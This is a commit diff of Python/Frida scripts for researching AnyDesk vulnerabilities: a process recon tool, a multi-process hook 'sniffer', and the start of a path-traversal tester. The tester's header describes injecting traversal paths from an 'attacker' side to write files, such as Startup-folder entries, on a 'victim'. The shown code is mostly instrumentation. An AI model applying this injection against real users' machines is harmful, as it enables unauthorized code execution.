initial commit
This commit is contained in:
@@ -0,0 +1,370 @@
|
||||
"""
|
||||
AnyDesk Process Recon
|
||||
Enumerates loaded modules, TLS-related exports, and interesting functions.
|
||||
Run this first to understand AnyDesk's internals.
|
||||
"""
|
||||
import frida
|
||||
import sys
|
||||
import json
|
||||
import time
|
||||
|
||||
AGENT_CODE = r"""
|
||||
'use strict';
|
||||
|
||||
// ============================================================
|
||||
// Phase 1: Enumerate all loaded modules
|
||||
// ============================================================
|
||||
function enumModules() {
|
||||
const mods = Process.enumerateModules();
|
||||
const result = [];
|
||||
for (const m of mods) {
|
||||
result.push({
|
||||
name: m.name,
|
||||
base: m.base.toString(),
|
||||
size: m.size,
|
||||
path: m.path
|
||||
});
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Phase 2: Find TLS/crypto related exports across all modules
|
||||
// ============================================================
|
||||
function findTlsExports() {
|
||||
const patterns = [
|
||||
'SSL_read', 'SSL_write', 'SSL_new', 'SSL_connect',
|
||||
'SSL_accept', 'SSL_free', 'SSL_CTX_new',
|
||||
'EncryptMessage', 'DecryptMessage',
|
||||
'SslEncryptPacket', 'SslDecryptPacket',
|
||||
'BCryptEncrypt', 'BCryptDecrypt',
|
||||
'CryptEncrypt', 'CryptDecrypt',
|
||||
'mbedtls_ssl_read', 'mbedtls_ssl_write',
|
||||
// Winsock
|
||||
'send', 'recv', 'WSASend', 'WSARecv',
|
||||
'sendto', 'recvfrom',
|
||||
// File operations (for file transfer)
|
||||
'CreateFileW', 'CreateFileA', 'WriteFile', 'ReadFile',
|
||||
'MoveFileW', 'MoveFileExW', 'CopyFileW',
|
||||
'CreateDirectoryW', 'RemoveDirectoryW',
|
||||
// Memory alloc (for heap overflow detection)
|
||||
'HeapAlloc', 'HeapFree', 'HeapReAlloc',
|
||||
'VirtualAlloc', 'VirtualFree',
|
||||
'malloc', 'free', 'realloc', 'calloc',
|
||||
// Image/bitmap
|
||||
'CreateDIBSection', 'SetDIBits', 'GetDIBits',
|
||||
'CreateBitmap', 'CreateCompatibleBitmap',
|
||||
// Clipboard
|
||||
'SetClipboardData', 'GetClipboardData',
|
||||
'OpenClipboard', 'CloseClipboard',
|
||||
'EmptyClipboard',
|
||||
];
|
||||
|
||||
const found = [];
|
||||
const mods = Process.enumerateModules();
|
||||
|
||||
for (const m of mods) {
|
||||
try {
|
||||
const exports = m.enumerateExports();
|
||||
for (const exp of exports) {
|
||||
for (const pat of patterns) {
|
||||
if (exp.name && exp.name.includes(pat)) {
|
||||
found.push({
|
||||
module: m.name,
|
||||
name: exp.name,
|
||||
address: exp.address.toString(),
|
||||
type: exp.type
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
// Some modules can't be enumerated
|
||||
}
|
||||
}
|
||||
return found;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Phase 3: Look for AnyDesk-specific strings in memory
|
||||
// ============================================================
|
||||
function findInterestingStrings() {
|
||||
const mainModule = Process.enumerateModules()[0]; // AnyDesk.exe
|
||||
const found = [];
|
||||
const patterns = [
|
||||
'DeskRT',
|
||||
'file_transfer',
|
||||
'FileTransfer',
|
||||
'clipboard',
|
||||
'Clipboard',
|
||||
'identity',
|
||||
'Identity',
|
||||
'user_image',
|
||||
'UserImage',
|
||||
'avatar',
|
||||
'codec',
|
||||
'Codec',
|
||||
'decompress',
|
||||
'Decompress',
|
||||
'decode_frame',
|
||||
'DecodeFrame',
|
||||
'bitmap',
|
||||
'Bitmap',
|
||||
'PNG',
|
||||
'png_decode',
|
||||
'traversal',
|
||||
'path_sanitize',
|
||||
'sanitize',
|
||||
'validate_path',
|
||||
'ad.security',
|
||||
'ssl_ctx',
|
||||
'TLS',
|
||||
'handshake',
|
||||
'Handshake',
|
||||
];
|
||||
|
||||
for (const pat of patterns) {
|
||||
try {
|
||||
const matches = Memory.scanSync(mainModule.base, mainModule.size,
|
||||
stringToPattern(pat));
|
||||
if (matches.length > 0) {
|
||||
found.push({
|
||||
pattern: pat,
|
||||
count: matches.length,
|
||||
first_addr: matches[0].address.toString(),
|
||||
// Read surrounding context
|
||||
context: safeReadUtf8(matches[0].address.sub(16), 64)
|
||||
});
|
||||
}
|
||||
} catch (e) {
|
||||
// Scan failed for this pattern
|
||||
}
|
||||
}
|
||||
return found;
|
||||
}
|
||||
|
||||
function stringToPattern(str) {
|
||||
let pat = '';
|
||||
for (let i = 0; i < str.length; i++) {
|
||||
if (i > 0) pat += ' ';
|
||||
pat += str.charCodeAt(i).toString(16).padStart(2, '0');
|
||||
}
|
||||
return pat;
|
||||
}
|
||||
|
||||
function safeReadUtf8(addr, len) {
|
||||
try {
|
||||
const buf = addr.readByteArray(len);
|
||||
if (!buf) return '<null>';
|
||||
const arr = new Uint8Array(buf);
|
||||
let s = '';
|
||||
for (let i = 0; i < arr.length; i++) {
|
||||
const c = arr[i];
|
||||
if (c >= 0x20 && c < 0x7f) s += String.fromCharCode(c);
|
||||
else s += '.';
|
||||
}
|
||||
return s;
|
||||
} catch (e) {
|
||||
return '<unreadable>';
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Phase 4: Scan for OpenSSL-style function tables
|
||||
// ============================================================
|
||||
function findOpenSSLIndicators() {
|
||||
const mods = Process.enumerateModules();
|
||||
const indicators = [];
|
||||
|
||||
for (const m of mods) {
|
||||
const nameLower = m.name.toLowerCase();
|
||||
if (nameLower.includes('ssl') || nameLower.includes('crypto') ||
|
||||
nameLower.includes('tls') || nameLower.includes('openssl') ||
|
||||
nameLower.includes('mbedtls') || nameLower.includes('boringssl') ||
|
||||
nameLower.includes('libcrypto') || nameLower.includes('libssl') ||
|
||||
nameLower.includes('schannel') || nameLower.includes('ncrypt') ||
|
||||
nameLower.includes('bcrypt') || nameLower.includes('sspicli')) {
|
||||
indicators.push({
|
||||
name: m.name,
|
||||
base: m.base.toString(),
|
||||
size: m.size,
|
||||
path: m.path
|
||||
});
|
||||
}
|
||||
}
|
||||
return indicators;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Run all phases
|
||||
// ============================================================
|
||||
const report = {};
|
||||
|
||||
send({type: 'status', msg: 'Phase 1: Enumerating modules...'});
|
||||
report.modules = enumModules();
|
||||
send({type: 'status', msg: `Found ${report.modules.length} modules`});
|
||||
|
||||
send({type: 'status', msg: 'Phase 2: Finding TLS/crypto exports...'});
|
||||
report.tls_exports = findTlsExports();
|
||||
send({type: 'status', msg: `Found ${report.tls_exports.length} interesting exports`});
|
||||
|
||||
send({type: 'status', msg: 'Phase 3: Scanning for interesting strings...'});
|
||||
report.strings = findInterestingStrings();
|
||||
send({type: 'status', msg: `Found ${report.strings.length} string patterns`});
|
||||
|
||||
send({type: 'status', msg: 'Phase 4: Looking for TLS library indicators...'});
|
||||
report.tls_indicators = findOpenSSLIndicators();
|
||||
send({type: 'status', msg: `Found ${report.tls_indicators.length} TLS-related modules`});
|
||||
|
||||
send({type: 'result', data: report});
|
||||
"""
|
||||
|
||||
def on_message(message, data):
|
||||
if message['type'] == 'send':
|
||||
payload = message['payload']
|
||||
if payload.get('type') == 'status':
|
||||
print(f" [*] {payload['msg']}")
|
||||
elif payload.get('type') == 'result':
|
||||
global result_data
|
||||
result_data = payload['data']
|
||||
elif message['type'] == 'error':
|
||||
print(f" [!] ERROR: {message['description']}")
|
||||
|
||||
def find_anydesk_pid():
|
||||
"""Find AnyDesk process ID"""
|
||||
import subprocess
|
||||
try:
|
||||
output = subprocess.check_output(
|
||||
['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
|
||||
text=True, stderr=subprocess.DEVNULL
|
||||
)
|
||||
for line in output.strip().split('\n'):
|
||||
if 'AnyDesk' in line:
|
||||
parts = line.strip().strip('"').split('","')
|
||||
if len(parts) >= 2:
|
||||
return int(parts[1].strip('"'))
|
||||
except:
|
||||
pass
|
||||
return None
|
||||
|
||||
def main():
|
||||
global result_data
|
||||
result_data = None
|
||||
|
||||
print("=" * 60)
|
||||
print(" AnyDesk Process Recon")
|
||||
print("=" * 60)
|
||||
|
||||
pid = find_anydesk_pid()
|
||||
if not pid:
|
||||
print("[!] AnyDesk.exe not found. Make sure it's running.")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"[+] Found AnyDesk.exe (PID: {pid})")
|
||||
print(f"[+] Attaching Frida...")
|
||||
|
||||
try:
|
||||
session = frida.attach(pid)
|
||||
except frida.ProcessNotFoundError:
|
||||
print("[!] Could not attach to AnyDesk. Run as Administrator.")
|
||||
sys.exit(1)
|
||||
except Exception as e:
|
||||
print(f"[!] Frida attach failed: {e}")
|
||||
print("[!] Make sure to run as Administrator.")
|
||||
sys.exit(1)
|
||||
|
||||
print("[+] Injecting recon agent...")
|
||||
script = session.create_script(AGENT_CODE, runtime='v8')
|
||||
script.on('message', on_message)
|
||||
script.load()
|
||||
|
||||
# Wait for results
|
||||
timeout = 30
|
||||
for i in range(timeout * 10):
|
||||
if result_data is not None:
|
||||
break
|
||||
time.sleep(0.1)
|
||||
|
||||
if result_data is None:
|
||||
print("[!] Timed out waiting for results")
|
||||
session.detach()
|
||||
sys.exit(1)
|
||||
|
||||
# Save and display results
|
||||
output_path = "recon_results.json"
|
||||
with open(output_path, 'w') as f:
|
||||
json.dump(result_data, f, indent=2)
|
||||
|
||||
print(f"\n[+] Full results saved to {output_path}")
|
||||
|
||||
# Summary
|
||||
print(f"\n{'=' * 60}")
|
||||
print(" SUMMARY")
|
||||
print(f"{'=' * 60}")
|
||||
|
||||
print(f"\n[Modules] {len(result_data['modules'])} loaded")
|
||||
for m in result_data['modules'][:10]:
|
||||
print(f" {m['name']:30s} @ {m['base']} ({m['size']:>10,} bytes)")
|
||||
if len(result_data['modules']) > 10:
|
||||
print(f" ... and {len(result_data['modules'])-10} more (see JSON)")
|
||||
|
||||
print(f"\n[TLS/Crypto Related Modules]")
|
||||
if result_data['tls_indicators']:
|
||||
for m in result_data['tls_indicators']:
|
||||
print(f" {m['name']:30s} @ {m['base']} {m['path']}")
|
||||
else:
|
||||
print(" None found (AnyDesk may use statically linked TLS)")
|
||||
|
||||
print(f"\n[Interesting Exports] {len(result_data['tls_exports'])} found")
|
||||
# Group by category
|
||||
tls_funcs = [e for e in result_data['tls_exports']
|
||||
if any(k in e['name'] for k in ['SSL_', 'Encrypt', 'Decrypt', 'mbedtls', 'Crypt'])]
|
||||
net_funcs = [e for e in result_data['tls_exports']
|
||||
if any(k in e['name'] for k in ['send', 'recv', 'WSA'])]
|
||||
file_funcs = [e for e in result_data['tls_exports']
|
||||
if any(k in e['name'] for k in ['CreateFile', 'WriteFile', 'ReadFile', 'MoveFile', 'CopyFile', 'Directory'])]
|
||||
clip_funcs = [e for e in result_data['tls_exports']
|
||||
if 'Clipboard' in e['name'] or 'clipboard' in e['name']]
|
||||
img_funcs = [e for e in result_data['tls_exports']
|
||||
if any(k in e['name'] for k in ['DIB', 'Bitmap', 'bitmap'])]
|
||||
|
||||
if tls_funcs:
|
||||
print(f"\n TLS/Crypto ({len(tls_funcs)}):")
|
||||
for e in tls_funcs[:15]:
|
||||
print(f" {e['module']:20s} :: {e['name']:40s} @ {e['address']}")
|
||||
|
||||
if net_funcs:
|
||||
print(f"\n Network ({len(net_funcs)}):")
|
||||
for e in net_funcs[:10]:
|
||||
print(f" {e['module']:20s} :: {e['name']:40s} @ {e['address']}")
|
||||
|
||||
if file_funcs:
|
||||
print(f"\n File I/O ({len(file_funcs)}):")
|
||||
for e in file_funcs[:10]:
|
||||
print(f" {e['module']:20s} :: {e['name']:40s} @ {e['address']}")
|
||||
|
||||
if clip_funcs:
|
||||
print(f"\n Clipboard ({len(clip_funcs)}):")
|
||||
for e in clip_funcs:
|
||||
print(f" {e['module']:20s} :: {e['name']:40s} @ {e['address']}")
|
||||
|
||||
if img_funcs:
|
||||
print(f"\n Image/Bitmap ({len(img_funcs)}):")
|
||||
for e in img_funcs:
|
||||
print(f" {e['module']:20s} :: {e['name']:40s} @ {e['address']}")
|
||||
|
||||
print(f"\n[String Patterns in AnyDesk.exe]")
|
||||
if result_data['strings']:
|
||||
for s in result_data['strings']:
|
||||
print(f" '{s['pattern']}' — {s['count']} hits, first @ {s['first_addr']}")
|
||||
if s['context']:
|
||||
print(f" context: {s['context']}")
|
||||
else:
|
||||
print(" No patterns found in main module")
|
||||
|
||||
session.detach()
|
||||
print(f"\n[+] Done. Review {output_path} for full details.")
|
||||
print("[+] Next step: run 02_sniffer.py to capture protocol traffic")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,248 @@
|
||||
"""
|
||||
AnyDesk Sniffer v4 — hooks ALL AnyDesk processes
|
||||
"""
|
||||
import frida
|
||||
import sys
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import subprocess
|
||||
from datetime import datetime
|
||||
|
||||
CAPTURE_DIR = "captures"
|
||||
|
||||
AGENT_CODE = r"""
|
||||
var hookCount = 0;
|
||||
|
||||
function getExport(mod, name) {
|
||||
try {
|
||||
var m = Process.findModuleByName(mod);
|
||||
if (!m) return null;
|
||||
return m.findExportByName(name);
|
||||
} catch(e) { return null; }
|
||||
}
|
||||
|
||||
function analyzeBuffer(arr, len) {
|
||||
var tags = [];
|
||||
var run = 0, maxRun = 0, bestStr = '', curStr = '';
|
||||
for (var i = 0; i < len; i++) {
|
||||
var b = arr[i];
|
||||
if (b >= 0x20 && b < 0x7f) { run++; curStr += String.fromCharCode(b); }
|
||||
else { if (run > maxRun) { maxRun = run; bestStr = curStr; } run = 0; curStr = ''; }
|
||||
}
|
||||
if (run > maxRun) { maxRun = run; bestStr = curStr; }
|
||||
if (maxRun > 10) tags.push('STR:' + bestStr.substring(0, 80));
|
||||
if (len >= 8 && arr[0]===0x89 && arr[1]===0x50 && arr[2]===0x4E && arr[3]===0x47) tags.push('PNG');
|
||||
if (len >= 2 && arr[0]===0x42 && arr[1]===0x4D) tags.push('BMP');
|
||||
return tags;
|
||||
}
|
||||
|
||||
// ---- FILE I/O ----
|
||||
var p1 = getExport('KERNEL32.DLL', 'CreateFileW');
|
||||
if (p1) { Interceptor.attach(p1, { onEnter: function(args) { try {
|
||||
var path = args[0].readUtf16String(); if (!path) return;
|
||||
var pl = path.toLowerCase();
|
||||
if (pl.indexOf('\\device\\')!==-1||pl.indexOf('\\pipe\\')!==-1||pl.indexOf('condrv')!==-1||pl.indexOf('\\registry')!==-1) return;
|
||||
var access = args[1].toInt32()>>>0, disp = args[4].toInt32();
|
||||
var isW = (access&0x40000000)!==0||(access&0x2)!==0, isC = disp===1||disp===2||disp===4;
|
||||
if (isW||isC||pl.indexOf('anydesk')!==-1||pl.indexOf('..')!==-1||pl.indexOf('desktop')!==-1||pl.indexOf('download')!==-1||pl.indexOf('startup')!==-1) {
|
||||
var fl=[]; if(path.indexOf('..\\')!==-1)fl.push('TRAV_BS'); if(path.indexOf('../')!==-1)fl.push('TRAV_FS'); if(pl.indexOf('startup')!==-1)fl.push('STARTUP');
|
||||
send({t:'file',op:'Create',path:path,w:isW,c:isC,fl:fl,ts:Date.now()});
|
||||
}} catch(e){} }}); hookCount++; }
|
||||
|
||||
var p2 = getExport('KERNEL32.DLL', 'MoveFileExW');
|
||||
if(p2){Interceptor.attach(p2,{onEnter:function(args){try{send({t:'move',src:args[0].readUtf16String(),dst:args[1].readUtf16String(),ts:Date.now()});}catch(e){}}});hookCount++;}
|
||||
|
||||
var p3 = getExport('KERNEL32.DLL', 'CopyFileW');
|
||||
if(p3){Interceptor.attach(p3,{onEnter:function(args){try{send({t:'copy',src:args[0].readUtf16String(),dst:args[1].readUtf16String(),ts:Date.now()});}catch(e){}}});hookCount++;}
|
||||
|
||||
var p4 = getExport('KERNEL32.DLL', 'CreateDirectoryW');
|
||||
if(p4){Interceptor.attach(p4,{onEnter:function(args){try{send({t:'mkdir',path:args[0].readUtf16String(),ts:Date.now()});}catch(e){}}});hookCount++;}
|
||||
|
||||
// ---- WriteFile ----
|
||||
var p5 = getExport('KERNEL32.DLL', 'WriteFile');
|
||||
if(p5){ var wc=0; Interceptor.attach(p5,{onEnter:function(args){
|
||||
this.sz=args[2].toInt32(); if(this.sz>64&&wc<300){wc++;try{
|
||||
var preview=args[1].readByteArray(Math.min(this.sz,64));var arr=new Uint8Array(preview);
|
||||
var tags=analyzeBuffer(arr,arr.length);if(tags.length>0)send({t:'write',sz:this.sz,tags:tags,ts:Date.now()});
|
||||
}catch(e){}}}}); hookCount++; }
|
||||
|
||||
// ---- GDI Bitmaps ----
|
||||
var p6 = getExport('GDI32.dll', 'CreateDIBSection');
|
||||
if(p6){Interceptor.attach(p6,{onEnter:function(args){try{var pbmi=args[1];if(pbmi.isNull())return;
|
||||
var w=pbmi.add(4).readS32(),h=pbmi.add(8).readS32(),bpp=pbmi.add(14).readU16();
|
||||
var alloc=Math.abs(w)*Math.abs(h)*(bpp/8);
|
||||
send({t:'bmp',op:'DIB',w:w,h:h,bpp:bpp,alloc:alloc,ts:Date.now()});
|
||||
if(Math.abs(w)>8192||Math.abs(h)>8192)send({t:'alert',m:'HUGE BMP '+w+'x'+h+'@'+bpp});
|
||||
}catch(e){}}});hookCount++;}
|
||||
|
||||
var p7 = getExport('GDI32.dll', 'CreateCompatibleBitmap');
|
||||
if(p7){Interceptor.attach(p7,{onEnter:function(args){var cx=args[1].toInt32(),cy=args[2].toInt32();
|
||||
if(cx>0&&cy>0)send({t:'bmp',op:'Compat',w:cx,h:cy,bpp:0,alloc:0,ts:Date.now()});}});hookCount++;}
|
||||
|
||||
// ---- Clipboard ----
|
||||
var p8=getExport('USER32.dll','SetClipboardData'),p9=getExport('USER32.dll','GetClipboardData');
|
||||
var cfn={1:'TEXT',2:'BITMAP',7:'OEM',8:'DIB',13:'UNICODE',15:'HDROP',17:'DIBV5'};
|
||||
if(p8){Interceptor.attach(p8,{onEnter:function(args){var f=args[0].toInt32();send({t:'clip',op:'SET',fmt:f,name:cfn[f]||('C'+f),ts:Date.now()});}});hookCount++;}
|
||||
if(p9){Interceptor.attach(p9,{onEnter:function(args){this.f=args[0].toInt32();},onLeave:function(ret){if(!ret.isNull())send({t:'clip',op:'GET',fmt:this.f,name:cfn[this.f]||('C'+this.f),ts:Date.now()});}});hookCount++;}
|
||||
|
||||
// ---- ALL socket functions ----
|
||||
var sc=0,rc=0,wsc=0,wrc=0;
|
||||
var pS=getExport('WS2_32.dll','send');
|
||||
if(pS){Interceptor.attach(pS,{onLeave:function(ret){var n=ret.toInt32();if(n>0){sc++;if(sc<=30||sc%100===0)send({t:'net',d:'S',sz:n,n:sc,ts:Date.now()});}}});hookCount++;}
|
||||
var pR=getExport('WS2_32.dll','recv');
|
||||
if(pR){Interceptor.attach(pR,{onLeave:function(ret){var n=ret.toInt32();if(n>0){rc++;if(rc<=30||rc%100===0)send({t:'net',d:'R',sz:n,n:rc,ts:Date.now()});}}});hookCount++;}
|
||||
var pWS=getExport('WS2_32.dll','WSASend');
|
||||
if(pWS){Interceptor.attach(pWS,{onEnter:function(args){try{var nBufs=args[2].toInt32(),lpBufs=args[1],total=0;
|
||||
for(var i=0;i<nBufs;i++)total+=lpBufs.add(i*8).readU32();wsc++;
|
||||
if(wsc<=30||wsc%100===0)send({t:'net',d:'WS',sz:total,n:wsc,ts:Date.now()});}catch(e){}}});hookCount++;}
|
||||
var pWR=getExport('WS2_32.dll','WSARecv');
|
||||
if(pWR){Interceptor.attach(pWR,{onEnter:function(args){try{var nBufs=args[2].toInt32(),lpBufs=args[1],total=0;
|
||||
for(var i=0;i<nBufs;i++)total+=lpBufs.add(i*8).readU32();wrc++;
|
||||
if(wrc<=30||wrc%100===0)send({t:'net',d:'WR',sz:total,n:wrc,ts:Date.now()});}catch(e){}}});hookCount++;}
|
||||
|
||||
// ---- Large heap alloc ----
|
||||
var pH=getExport('ntdll.dll','RtlAllocateHeap');
|
||||
if(pH){Interceptor.attach(pH,{onEnter:function(args){this.sz=args[2].toInt32()>>>0;},onLeave:function(ret){
|
||||
if(this.sz>50*1024*1024)send({t:'alert',m:'BIG ALLOC '+(this.sz/1024/1024).toFixed(1)+'MB',ts:Date.now()});}});hookCount++;}
|
||||
|
||||
setInterval(function(){send({t:'stats',s:sc,r:rc,ws:wsc,wr:wrc,ts:Date.now()});},10000);
|
||||
send({t:'log',m:hookCount+' hooks OK'});
|
||||
send({t:'ready'});
|
||||
"""
|
||||
|
||||
class Capture:
|
||||
def __init__(self, d):
|
||||
self.d = d; os.makedirs(d, exist_ok=True)
|
||||
self.ev = []; self.ready_count = 0; self.t0 = time.time()
|
||||
|
||||
def on_msg(self, pid, msg, data):
|
||||
if msg['type'] == 'send':
|
||||
p = msg['payload']
|
||||
t = p.get('t','')
|
||||
ts = (p.get('ts', self.t0*1000)/1000) - self.t0
|
||||
tag = f"P{pid}"
|
||||
|
||||
if t == 'log': print(f" [{tag}] {p['m']}")
|
||||
elif t == 'ready': self.ready_count += 1
|
||||
elif t == 'file':
|
||||
fl = ' '.join(f'[{f}]' for f in p.get('fl',[]))
|
||||
m = 'W' if p.get('w') else 'R'; c = '+C' if p.get('c') else ''
|
||||
print(f" [{ts:7.2f}s] [{tag}] [FILE {m}{c}] {p['path']} {fl}")
|
||||
self.ev.append({**p, 'pid': pid})
|
||||
elif t == 'move':
|
||||
print(f" [{ts:7.2f}s] [{tag}] [MOVE] {p['src']} -> {p['dst']}")
|
||||
self.ev.append({**p, 'pid': pid})
|
||||
elif t == 'copy':
|
||||
print(f" [{ts:7.2f}s] [{tag}] [COPY] {p['src']} -> {p['dst']}")
|
||||
self.ev.append({**p, 'pid': pid})
|
||||
elif t == 'mkdir':
|
||||
print(f" [{ts:7.2f}s] [{tag}] [MKDIR] {p['path']}")
|
||||
self.ev.append({**p, 'pid': pid})
|
||||
elif t == 'write':
|
||||
tg = ', '.join(p.get('tags',[]))
|
||||
if tg: print(f" [{ts:7.2f}s] [{tag}] [WRITE] {p['sz']}b {tg}")
|
||||
self.ev.append({**p, 'pid': pid})
|
||||
elif t == 'bmp':
|
||||
print(f" [{ts:7.2f}s] [{tag}] [BITMAP] {p['op']} {p['w']}x{p['h']} @{p['bpp']}bpp ({p['alloc']:,.0f}b)")
|
||||
self.ev.append({**p, 'pid': pid})
|
||||
elif t == 'clip':
|
||||
print(f" [{ts:7.2f}s] [{tag}] [CLIP] {p['op']} {p['name']}")
|
||||
self.ev.append({**p, 'pid': pid})
|
||||
elif t == 'net':
|
||||
print(f" [{ts:7.2f}s] [{tag}] [NET] {p['d']} {p['sz']}b #{p['n']}")
|
||||
self.ev.append({**p, 'pid': pid})
|
||||
elif t == 'alert':
|
||||
print(f"\n {'!'*50}\n [{tag}] ALERT: {p['m']}\n {'!'*50}\n")
|
||||
self.ev.append({**p, 'pid': pid})
|
||||
elif t == 'stats':
|
||||
total = p['s'] + p['r'] + p.get('ws',0) + p.get('wr',0)
|
||||
if total > 0: # Only print stats if there's activity
|
||||
print(f" [{ts:7.2f}s] [{tag}] send={p['s']} recv={p['r']} WSASend={p.get('ws',0)} WSARecv={p.get('wr',0)}")
|
||||
elif msg['type'] == 'error':
|
||||
print(f" [P{pid}] ERROR: {msg['description']}")
|
||||
|
||||
def save(self):
|
||||
path = os.path.join(self.d, "capture.json")
|
||||
with open(path, 'w') as f:
|
||||
json.dump({'dur': time.time()-self.t0, 'events': self.ev}, f, indent=2)
|
||||
fi = [e for e in self.ev if e.get('t')=='file']
|
||||
bm = [e for e in self.ev if e.get('t')=='bmp']
|
||||
cl = [e for e in self.ev if e.get('t')=='clip']
|
||||
nt = [e for e in self.ev if e.get('t')=='net']
|
||||
al = [e for e in self.ev if e.get('t')=='alert']
|
||||
print(f"\n[+] {len(self.ev)} events -> {path}")
|
||||
print(f" Files:{len(fi)} Bitmaps:{len(bm)} Clip:{len(cl)} Net:{len(nt)} Alerts:{len(al)}")
|
||||
|
||||
|
||||
def find_all_pids():
|
||||
out = subprocess.check_output(
|
||||
['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
|
||||
text=True, stderr=subprocess.DEVNULL)
|
||||
pids = []
|
||||
for line in out.strip().split('\n'):
|
||||
if 'AnyDesk' in line:
|
||||
parts = line.strip().strip('"').split('","')
|
||||
if len(parts) >= 2:
|
||||
pids.append(int(parts[1].strip('"')))
|
||||
return pids
|
||||
|
||||
|
||||
def main():
|
||||
print("=" * 60)
|
||||
print(" AnyDesk Sniffer v4 — ALL processes")
|
||||
print("=" * 60)
|
||||
|
||||
pids = find_all_pids()
|
||||
if not pids:
|
||||
print("[!] No AnyDesk processes found")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"[+] Found {len(pids)} AnyDesk processes: {pids}")
|
||||
|
||||
ts = datetime.now().strftime('%Y%m%d_%H%M%S')
|
||||
cap = Capture(os.path.join(CAPTURE_DIR, f"cap_{ts}"))
|
||||
|
||||
sessions = []
|
||||
scripts = []
|
||||
|
||||
for pid in pids:
|
||||
try:
|
||||
print(f"[+] Attaching to PID {pid}...")
|
||||
session = frida.attach(pid)
|
||||
script = session.create_script(AGENT_CODE, runtime='v8')
|
||||
script.on('message', lambda msg, data, p=pid: cap.on_msg(p, msg, data))
|
||||
script.load()
|
||||
sessions.append(session)
|
||||
scripts.append(script)
|
||||
print(f"[+] PID {pid} hooked")
|
||||
except Exception as e:
|
||||
print(f"[!] PID {pid} failed: {e}")
|
||||
|
||||
# Wait for all to be ready
|
||||
for _ in range(100):
|
||||
if cap.ready_count >= len(scripts):
|
||||
break
|
||||
time.sleep(0.1)
|
||||
|
||||
print(f"\n{'='*60}")
|
||||
print(f" {cap.ready_count}/{len(scripts)} agents ready")
|
||||
print(" NOW: connect from VM, transfer files, move mouse")
|
||||
print(" Ctrl+C to stop")
|
||||
print(f"{'='*60}\n")
|
||||
|
||||
try:
|
||||
while True:
|
||||
time.sleep(0.1)
|
||||
except KeyboardInterrupt:
|
||||
print("\n[+] Stopping...")
|
||||
|
||||
cap.save()
|
||||
for s in sessions:
|
||||
try:
|
||||
s.detach()
|
||||
except:
|
||||
pass
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,495 @@
|
||||
"""
|
||||
AnyDesk File Transfer Path Traversal Tester
|
||||
Hooks the receiving side's file write operations and tests if AnyDesk
|
||||
sanitizes filenames from the sender. Also hooks the sending side to
|
||||
inject traversal paths into outgoing file transfer data.
|
||||
|
||||
PHASE 1: Run on VICTIM (receiving side) - monitors where files get written
|
||||
PHASE 2: Run on ATTACKER (sending side) - injects traversal paths into protocol
|
||||
|
||||
Usage:
|
||||
python 03_traversal.py --phase monitor (run on victim, then transfer a file)
|
||||
python 03_traversal.py --phase inject (run on attacker, then transfer a file)
|
||||
"""
|
||||
import frida
|
||||
import sys
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
|
||||
# ============================================================
|
||||
# Phase 1: Monitor Agent — runs on the RECEIVING (victim) side
|
||||
# Logs every file creation to see where AnyDesk writes files
|
||||
# ============================================================
|
||||
MONITOR_AGENT = r"""
|
||||
'use strict';
|
||||
|
||||
const watchPaths = [];
|
||||
let fileOps = [];
|
||||
|
||||
// Hook CreateFileW to see ALL file creations
|
||||
const CreateFileW = Module.findExportByName('kernel32.dll', 'CreateFileW');
|
||||
const CreateDirectoryW = Module.findExportByName('kernel32.dll', 'CreateDirectoryW');
|
||||
const MoveFileW = Module.findExportByName('kernel32.dll', 'MoveFileW');
|
||||
const MoveFileExW = Module.findExportByName('kernel32.dll', 'MoveFileExW');
|
||||
const CopyFileW = Module.findExportByName('kernel32.dll', 'CopyFileW');
|
||||
|
||||
// Filter noise: only log paths that might be user files or interesting
|
||||
function isInteresting(path) {
|
||||
if (!path) return false;
|
||||
const p = path.toLowerCase();
|
||||
// Skip system noise
|
||||
if (p.includes('\\device\\')) return false;
|
||||
if (p.includes('\\pipe\\')) return false;
|
||||
if (p.includes('\\windows\\system32\\')) return false;
|
||||
if (p.includes('\\windows\\syswow64\\')) return false;
|
||||
if (p.includes('\\appdata\\local\\temp\\') && p.includes('anydesk')) return true; // AnyDesk temp files are interesting
|
||||
if (p.includes('anydesk')) return true;
|
||||
// User profile paths
|
||||
if (p.includes('\\users\\')) return true;
|
||||
if (p.includes('\\desktop\\')) return true;
|
||||
if (p.includes('\\downloads\\')) return true;
|
||||
if (p.includes('\\documents\\')) return true;
|
||||
if (p.includes('\\startup\\')) return true;
|
||||
// Traversal indicators
|
||||
if (p.includes('..')) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
function checkTraversal(path) {
|
||||
const flags = [];
|
||||
if (path.includes('..\\')) flags.push('BACKSLASH_TRAVERSAL');
|
||||
if (path.includes('../')) flags.push('FORWARDSLASH_TRAVERSAL');
|
||||
if (path.includes('..%5c')) flags.push('ENCODED_TRAVERSAL');
|
||||
if (path.includes('..%2f')) flags.push('ENCODED_TRAVERSAL');
|
||||
if (path.toLowerCase().includes('startup')) flags.push('STARTUP_FOLDER');
|
||||
if (path.toLowerCase().includes('start menu')) flags.push('START_MENU');
|
||||
return flags;
|
||||
}
|
||||
|
||||
if (CreateFileW) {
|
||||
Interceptor.attach(CreateFileW, {
|
||||
onEnter(args) {
|
||||
const path = args[0].readUtf16String();
|
||||
if (isInteresting(path)) {
|
||||
const traversalFlags = checkTraversal(path);
|
||||
const access = args[1].toInt32();
|
||||
const disposition = args[4].toInt32();
|
||||
|
||||
// GENERIC_WRITE or CREATE_ALWAYS/CREATE_NEW/OPEN_ALWAYS
|
||||
const isWrite = (access & 0x40000000) !== 0 ||
|
||||
